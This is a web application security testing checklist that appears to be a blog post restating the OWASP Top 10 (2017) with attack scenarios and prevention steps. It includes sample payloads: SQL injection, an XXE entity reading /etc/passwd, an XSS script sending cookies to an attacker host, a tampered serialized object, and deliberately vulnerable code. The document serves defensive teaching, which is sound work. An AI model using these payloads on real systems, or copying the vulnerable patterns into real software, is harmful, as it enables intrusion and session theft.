Web Application Security Testing Checklist

Introduction

This is a checklist of tasks to be performed during Blackbox security testing of a web application.

Purpose

This checklist is intended to be used as a memory aid for experienced pentesters. It should be used in conjunction with the OWASP Testing Guide v4

What is Security Testing?

Security testing is a testing technique to determine if an information system protects data and maintains functionality as intended. Security testing does not guarantee complete security of the system, but it is important to include security testing as a part of the testing process.

Security testing takes the following six measures to provide a secured environment −

  • Confidentiality − It protects against disclosure of information to unintended recipients.
  • Integrity − It allows transferring accurate and correct desired information from senders to intended receivers.
  • Authentication − It verifies and confirms the identity of the user.
  • Authorization − It specifies access rights to the users and resources.
  • Availability − It ensures readiness of the information on requirement.
  • Non-repudiation − It ensures there is no denial from the sender or the receiver for having sent or received the message.

What is Same Origin Policy?

Same Origin Policy (SOP) is an important concept in the web application security model.

As per this policy, it permits scripts running on pages originating from the same site which can be a combination of the following −

  • Domain
  • Protocol
  • Port

What is a Cookie?

A cookie is a small piece of information sent by a web server to store on a web browser so that it can later be read by the browser. This way, the browser remembers some specific personal information. 

Testing Cookies

Here are the ways to test the cookies −

  • Disabling Cookies − As a tester, we need to verify the access of the website after disabling cookies and to check if the pages are working properly. Navigating to all the pages of the website and watch for app crashes. It is also required to inform the user that cookies are required to use the site.
  • Corrupting Cookies − Another testing to be performed is by corrupting the cookies. In order to do the same, one has to find the location of the site’s cookie and manually edit it with fake / invalid data which can be used access internal information from the domain which in turn can then be used to hack the site.
  • Removing Cookies − Remove all the cookies for the website and check how the website reacts to it.
  • Cross-Browser Compatibility − It is also important to check that cookies are being written properly on all supported browsers from any page that writes cookies.
  • Editing Cookies − If the application uses cookies to store login information then as a tester we should try changing the user in the cookie or address bar to another valid user. Editing the cookie should not let you log in to a different users account.

Web Application Security Testing Methodology

OWASP is the most active and there are a number of contributors. We will focus on OWASP Techniques which each development team takes into consideration before designing a web app.

OWASP Top 10 – 2017

The Open Web Application Security Protocol team released the top 10 vulnerabilities that are more prevalent in web in the recent years. Below is the list of security flaws that are more prevalent in a web based application.

OWASP Top 10 Application Security Risks – 2017

A1:2017-Injection

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

A2:2017-Broken Authentication

Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.

A3:2017-Sensitive Data Exposure

Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

A4:2017-XML External Entities (XXE)

Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

A5:2017-Broken Access Control

Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.

A6:2017-Security Misconfiguration

Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.

A7:2017-Cross-Site Scripting (XSS)

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

A8:2017-Insecure Deserialization

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

A9:2017-Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

A10:2017-Insufficient Logging & Monitoring

Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

1. Injection


Injection technique consists of injecting a SQL query or a command using the input fields of the application.

Web Application – Injection

A successful SQL injection can read, modify sensitive data from the database, and can also delete data from a database. It also enables the hacker to perform administrative operations on the database such as shutdown the DBMS/dropping databases.

Example Attack Scenarios:

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:

String query = “SELECT * FROM accounts WHERE custID='” + request.getParameter(“id”) + “‘”;

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='” + request.getParameter(“id”) + “‘”);

In both cases, the attacker modifies the ‘id’ parameter value in their browser to send: ‘ or ‘1’=’1. For example:

http://example.com/app/accountView?id=’ or ‘1’=’1

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

Checklist: Injection

Preventing injection requires keeping data separate from commands and queries.

  • The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs).
  • Note: Even when parameterized, stored procedures can still introduce SQL injection if PL/SQL or T-SQL concatenates queries and data, or executes hostile data with EXECUTE IMMEDIATE or exec().
  • Use positive or “whitelist” server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
  • For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter.
  • Note: SQL structure such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.
  • Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.

2. Broken Authentication


When authentication functions related to the application are not implemented correctly, it allows hackers to compromise passwords or session ID’s or to exploit other implementation flaws using other users credentials.

Example Attack Scenarios:

An e-commerce application supports URL rewriting, putting session IDs in the URL −
http://example.com/sale/saleitems/jsessionid=2P0OC2JSNDLPSKHCJUN2JV/?item=laptop

Scenario #1: An authenticated user of the site forwards the URL to their friends to know about the discounted sales. He e-mails the above link without knowing that the user is also giving away the session IDs. When his friends use the link, they use his session and credit card.

Scenario #2: Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords.

Scenario #3: Application session timeouts aren’t set properly. A user uses a public computer to access an application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.

Checklist: Broken Authentication

  • Where possible, implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential reuse attacks.
  • Do not ship or deploy with any default credentials, particularly for admin users.
  • Implement weak-password checks, such as testing new or changed passwords
  • Align password length, complexity and rotation policies with modern, evidence based password policies.
  • Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes.
  • Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.
  • Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
  • Developers should ensure that they avoid XSS flaws that can be used to steal session IDs.

3. Sensitive Data Exposure


As the online applications keep flooding the internet in day by day, not all applications are secured. Many web applications do not properly protect sensitive user data such as credit cards information/Bank account info/authentication credentials. Hackers might end up stealing those weakly protected data to conduct credit card fraud, identity theft, or other crimes.

Example Attack Scenarios:

Some of the classic examples of security misconfiguration are as given −

  • Scenario #1: A site simply does not use SSL for all authenticated pages. This enables an attacker to monitor network traffic and steal the user’s session cookie to hijack the users session or accessing their private data.
  • Scenario #2: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. 
  • Scenario #3: A site doesn’t use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user’s session cookie. The attacker then replays this cookie and hijacks the user’s (authenticated) session, accessing or modifying the user’s private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.
  • Scenario #4: The password database uses unsalted or simple hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.

Checklist: Sensitive Data Exposure

  • Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
  • Apply controls as per the classification.
  • Don’t store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.
  • Make sure to encrypt all sensitive data at rest.
  • Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
  • Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
  • Disable caching for response that contain sensitive data.
  • Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt or PBKDF2.
  • Verify independently the effectiveness of configuration and settings.
  • It can also be avoided by disabling autocomplete on forms that collect sensitive data such as password and disable caching for pages that contain sensitive data.

4. XML External Entities (XXE)


By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing.

SAST tools can discover this issue by inspecting dependencies and configuration. DAST tools require additional manual steps to detect and exploit this issue. Manual testers need to be trained in how to test for XXE, as it not commonly tested as of 2017.

Example Attack Scenarios:

Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:

Scenario #1: The attacker attempts to extract data from the server:

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

<foo>&xxe;</foo>

Scenario #2: An attacker probes the server’s private network by changing the above ENTITY line to:

<!ENTITY xxe SYSTEM “https://192.168.1.1/private” >]>

Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:

<!ENTITY xxe SYSTEM “file:///dev/random” >]>

Checklist: XML External Entities

Developer training is essential to identify and mitigate XXE. Besides that, preventing XXE requires:

  • Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
  • Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher.
  • Disable XML external entity and DTD processing in all XML parsers in the application, as per the OWASP Cheat Sheet ‘XXE Prevention’.
  • Implement positive (“whitelisting”) server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
  • Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
  • SAST tools can help detect XXE in source code, although manual code review is the best alternative in large, complex applications with many integrations.

If these controls are not possible, consider using virtual patching, API security gateways, or Web Application Firewalls (WAFs) to detect, monitor, and block XXE attacks.


5. Broken Access Control


Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.

Example Attack Scenarios:

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

pstmt.setString(1, request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery( );

An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.

http://example.com/app/accountInfo?acct=notmyacct

Scenario #2: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

Checklist: Broken Access Control

  • Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.
  • With the exception of public resources, deny by default.
  • Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
  • Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record.
  • Unique application business limit requirements should be enforced by domain models.
  • Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
  • Log access control failures, alert admins when appropriate (e.g. repeated failures).
  • Rate limit API and controller access to minimize the harm from automated attack tooling.
  • JWT tokens should be invalidated on the server after logout.
    Developers and QA staff should include functional access control unit and integration tests.

6. Security Misconfiguration


Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.

Example Attack Scenarios:

Scenario #1: The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren’t changed the attacker logs in with default passwords and takes over.
Scenario #2: Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.
Scenario #3: The application server’s configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.
Scenario #4: A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.

Checklist: Security Misconfiguration

Secure installation processes should be implemented, including:

  • A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.
  • A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
  • A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see A9:2017-Using Components with Known Vulnerabilities). In particular, review cloud storage permissions (e.g. S3 bucket permissions).
  • A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).
  • Sending security directives to clients, e.g. Security Headers.
  • An automated process to verify the effectiveness of the configurations and settings in all environments.

7. Cross-Site Scripting (XSS)


XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Example Attack Scenarios:

Scenario #1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += “<input name=’creditcard’ type=’TEXT’

value='” + request.getParameter(“CC”) + “‘>”;

The attacker modifies the ‘CC’ parameter in the browser to:

‘><script>document.location=

‘http://www.attacker.com/cgi-bin/cookie.cgi?

foo=’+document.cookie</script>’.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

Checklist: Cross-Site Scripting (XSS)

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:

  • Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.
  • Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has details on the required data escaping techniques.
  • Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.
  • Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

8. Insecure Deserialization


Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

Example Attack Scenarios:

Scenario #1: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the “R00” Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a “super” cookie, containing the user’s user ID, role, password hash, and other state:

a:4:{i:0;i:132;i:1;s:7:”Mallory”;i:2;s:4:”user”; i:3;s:32:”b6a8b3bea87fe0e05022f8f3c88bc960″;}
An attacker changes the serialized object to give themselves admin privileges:

a:4:{i:0;i:1;i:1;s:5:”Alice”;i:2;s:5:”admin”;

i:3;s:32:”b6a8b3bea87fe0e05022f8f3c88bc960″;}

Checklist: Insecure Deserialization

The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one of more of the following:

  • Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
  • Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
  • Isolating and running code that deserializes in low privilege environments when possible.
  • Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
  • Monitoring deserialization, alerting if a user deserializes constantly.

9. Using Components with Known Vulnerabilities


Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

Example Attack Scenarios:

Scenario #1: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:

  • CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.
  • While internet of things (IoT) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).
    There are automated tools to help attackers find unpatched or misconfigured systems. For example, the Shodan IoT search engine can help you find devices that still suffer from Heartbleed vulnerability that was patched in April 2014.


Checklist: Using Components with Known Vulnerabilities

There should be a patch management process in place to:

  • Remove unused dependencies, unnecessary features, components, files, and documentation.
  • Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, DependencyCheck, retire.js, etc. Continuously monitor sources like CVE and NVD for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.
  • Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.
    Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.
  • Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.

10. Insufficient Logging & Monitoring


Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

Example Attack Scenarios:

Scenario #1: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.
Scenario #2: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.
Scenario #3: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.

Checklist: Insufficient Logging & Monitoring

As per the risk of the data stored or processed by the application:

  • Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.
  • Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
  • Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
  • Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
  • Establish or adopt an incident response and recovery plan, such as NIST 800-61 rev 2 or later.

There are commercial and open source application protection frameworks such as OWASP AppSensor, web application firewalls such as ModSecurity with the OWASP ModSecurity Core Rule Set, and log correlation software with custom dashboards and alerting.


11. Buffer Overflows


A buffer overflow arises when a program tries to store more data in a temporary data storage area (buffer) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information can overflow into adjacent buffers, thus corrupting the valid data held in them.

Example Attack Scenarios:

Here is a classic examples of buffer overflow. It demonstrates a simple buffer overflow that is caused by the first scenario in which relies on external data to control its behavior. There is no way to limit the amount of data that user has entered and the behavior of the program depends on the how many characters the user has put inside.

  …
  char bufr[BUFSIZE];
  gets(bufr);
  …

Checklist: Buffer Overflows

  • Code Reviewing
  • Developer training
  • Compiler tools
  • Developing Safe functions
  • Periodical Scanning

12. Denial of Service


Denial of Service (DoS) attack is an attempt by hackers to make a network resource unavailable. It usually interrupts the host, temporary or indefinitely, which is connected to the internet. These attacks typically target services hosted on mission critical web servers such as banks, credit card payment gateways.

Example Attack Scenarios:

Denial of Service attacks are very common due to two factors :

The significant prevalence of cloud and web services

  • Easy to get testing tools to cause denial of service attacks.
  • Because it’s very simple to launch the DOS attack, any web services don’t have Anti-DOS defenses mitigation in place will be vulnerable to DOS attacks.

To avoid and mitigate DOS attack, both developers and operations engineering will need to have layered of defenses in place:

a) Service: When the service is built, it’s developed with anti-DOS in mind such Input validation, Resource handling, Size or Length validation.
b) Web Host: Every Web server such Apache, NginX or Linux host provides the configuration of connection. Properly configure these network configuration may also help to mitigate the DOS attacks.
c) Infrastructure: Signature-based or behavior detection firewalls, load balance, failover, cloud anti-DDoS service.

Symptoms of DoS

  • Unusually slow network performance.
  • Unavailability of a particular web site.
  • Inability to access any web site.
  • Dramatic increase in the number of spam emails received.
  • Long term denial of access to the web or any internet services.
  • Unavailability of a particular website.

Checklist: Denial of Service

  • Perform thorough input validations.
  • Avoid highly CPU consuming operations.
  • It is better to separate data disks from system disks.
  • Resource handling: Timeout value per connection to free up the server resources.
  • Limit length and size of content in the HTTP request
  • API rate limits: Limit the number of API calls

13. Malicious File Execution


Developers often directly use or concatenate potentially vulnerable input with file or assume that input files are genuine. When the data is not checked properly, this can lead to the vulnerable content being processed or invoked by the web server.

Example Attack Scenarios:

Attacks on application platform

  • Upload .jsp file into web tree – jsp code executed as the web user
  • Upload .gif file to be resized – image library flaw exploited
  • Upload huge files – file space denial of service
  • Upload file using malicious path or name – overwrite a critical file
  • Upload file containing personal data – other users access it
  • Upload file containing “tags” – tags get executed as part of being “included” in a web page
  • Upload .rar file to be scanned by antivirus – command executed on a server running the vulnerable antivirus software

Attacks on other systems

  • Upload .exe file into web tree – victims download trojaned executable
  • Upload virus infected file – victims’ machines infected
  • Upload .html file containing script – victim experiences Cross-site Scripting (XSS)
  • Upload .jpg file containing a Flash object – victim experiences Cross-site Content Hijacking.
  • Upload .rar file to be scanned by antivirus – command executed on a client running the vulnerable antivirus software

Checklist: Malicious File Execution

In order to make a Windows server more secure, it is very important to follow the Microsoft security best practices first. For this purpose, some of the useful links are:

  • Secure websites using website permissions.
  • Adopt countermeasures for web application security.
  • Understand the Built-In user and group accounts in IIS 7.0.

And some special recommendations for the developers and webmasters:

The file types allowed to be uploaded should be restricted to only those that are necessary for business functionality.

  • Never accept a filename and its extension directly without having a whitelist filter.
  • The application should perform filtering and content checking on any files which are uploaded to the server. Files should be thoroughly scanned and validated before being made available to other users. If in doubt, the file should be discarded.
  • It is necessary to have a list of only permitted extensions on the web application. And, file extension can be selected from the list. For instance, it can be a “select case” syntax (in case of having VBScript) to choose the file extension in regards to the real file extension.
  • All the control characters and Unicode ones should be removed from the filenames and their extensions without any exception. Also, the special characters such as “;”, “:”, “>”, “<“, “/” ,”\”, additional “.”, “*”, “%”, “$”, and so on should be discarded as well. If it is applicable and there is no need to have Unicode characters, it is highly recommended to only accept Alphanumeric characters and only 1 dot as an input for the file name and the extension; in which the file name and also the extension should not be empty at all (regular expression: [a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).
  • Limit the filename length. For instance, the maximum length of the name of a file plus its extension should be less than 255 characters (without any directory) in an NTFS partition.
  • It is recommended to use an algorithm to determine the filenames. For instance, a filename can be a MD5 hash of the name of file plus the date of the day.
  • Uploaded directory should not have any “execute” permission and all the script handlers should be removed from these directories.
  • Restrict small size files as they can lead to denial of service attacks. So, the minimum size of files should be considered.
  • Use Cross Site Request Forgery protection methods.
  • Try to use POST method instead of PUT (or GET!)
  • If it is possible, consider saving the files in a database rather than on the filesystem.
  • If files should be saved in a filesystem, consider using an isolated server with a different domain to serve the uploaded files.
  • Ensure that configuration files such as “.htaccess” or “web.config” cannot be replaced using file uploaders. Ensure that appropriate settings are available to ignore the “.htaccess” or “web.config” files if uploaded in the upload directories.
  • Ensure that files with double extensions (e.g. “file.php.txt”) cannot be executed especially in Apache.
  • Browser caching should be disabled for the corssdomain.xml and clientaccesspolicy.xml files. This enables the website to easily update the file or restrict access to the Web services if necessary. Once the client access policy file is checked, it remains in effect for the browser session so the impact of non-caching to the end-user is minimal. This can be raised as a low or informational risk issue based on the content of the target website and security and complexity of the policy file(s).

14. Unvalidated Redirects and Forwards


Most web applications on the internet frequently redirect and forward users to other pages or other external websites. However, without validating the credibility of those pages, hackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Example 1(URL Redirect):

The following Java code receives the URL from the ‘url’ GET parameter and redirects to that URL.
response.sendRedirect(request.getParameter(“url”));

The following PHP code obtains a URL from the query string and then redirects the user to that URL.
$redirect_url = $_GET[‘url’];
header(“Location: ” . $redirect_url);

A similar example of C# .NET Vulnerable Code:
string url = request.QueryString[“url”];
Response.Redirect(url);


And in rails:
redirect_to params[:url]

The above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site. If no validation is applied, a malicious user could create a hyperlink to redirect your users to an unvalidated malicious website, for example:

http://example.com/example.php?url=http://malicious.example.com

The user sees the link directing to the original trusted site (example.com) and does not realize the redirection that could take place


Example 2(Forward):

When applications allow user input to forward requests between different parts of the site, the application must check that the user is authorized to access the url, perform the functions it provides, and it is an appropriate url request. If the application fails to perform these checks, an attacker crafted URL may pass the application’s access control check and then forward the attacker to an administrative function that is not normally permitted.

http://www.example.com/function.jsp?fwd=admin.jsp

The following code is a Java servlet that will receive a GET request with a url parameter in the request to forward to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and complete the server-side forward processing before responding to the browser.

public class ForwardServlet extends HttpServlet
{
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String query = request.getQueryString();
    if (query.contains(“fwd”))
    {
      String fwd = request.getParameter(“fwd”);
      try
      {
        request.getRequestDispatcher(fwd).forward(request, response);
      }
      catch (ServletException e)
      {
        e.printStackTrace();
      }
    }
  }
}

Checklist: Unvalidated Redirects and Forwards

  • It is better to avoid using redirects and forwards.
  • If it is unavoidable, then it should be done without involving user parameters in redirecting the destination.
  • If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
  • It is recommended that any such destination input be mapped to a value, rather than the actual URL or portion of the URL, and that server side code translate this value to the target URL.
  • Sanitize input by creating a list of trusted URL’s (lists of hosts or a regex).
  • Force all redirects to first go through a page notifying users that they are going off of your site, and have them click a link to confirm.

15. AJAX Security


Asynchronous Javascript and XML (AJAX) is one of the latest techniques used to develop web application in order to give a rich user experience. Since it is a new technology, there are many security issues that are yet to be completed established and below are the few security issues in AJAX.

  • The attack surface is more as there are more inputs to be secured.
  • It also exposes the internal functions of the applications.
  • Failure to protect authentication information and sessions.
  • There is a very narrow line between client-side and server-side, hence there are possibilities of committing security mistakes.

Example Attack Scenarios:

Here is an example for AJAX Security −

In 2006, a worm infected yahoo mail service using XSS and AJAX that took advantage of a vulnerability in Yahoo Mail’s onload event handling. When an infected email was opened, the worm executed its JavaScript, sending a copy to all the Yahoo contacts of the infected user.

Checklist: AJAX Security

Client side

  • Use .innerText instead of .innerHtml.
  • Do not use eval.
  • Do not rely on client logic for security.
  • Avoid writing serialization code.
  • Avoid building XML dynamically.
  • Never transmit secrets to the client.
  • Do not perform encryption in client side code.
  • Do not perform security impacting logic on client side.

Server side

  • Use CSRF protection.
  • Avoid writing serialization code.
  • Services can be called by users directly.
  • Avoid building XML by hand, use the framework.
  • Avoid building JSON by hand, use an existing framework.

Sr. SDET M Mehedi Zaman

Currently working as Sr. SDET at Robi Axiata Limited, a subsidiary of Axiata Group. As a Senior SDET: - Played a key role in introducing Agile Scrum methodology and implementing CI/CD pipeline to ensure quality & timely delivery. - Trained colleagues on emerging technologies, e.g. Apache Spark, Big Data, Hadoop, Internet of Things, Cloud Computing, AR, Video Streaming Services Technology, Blockchain, Data Science- Developed a test automation framework for Android and iOS apps - Developed an e2e web automation framework with Pytest - Performed penetration testing of enterprise solutions to ensure security and high availability using Kali, Burp Suite etc. - Learned Gauntlet security testing automation framework and shared the lesson learned in a knowledge sharing session

Leave a Reply

Your email address will not be published. Required fields are marked *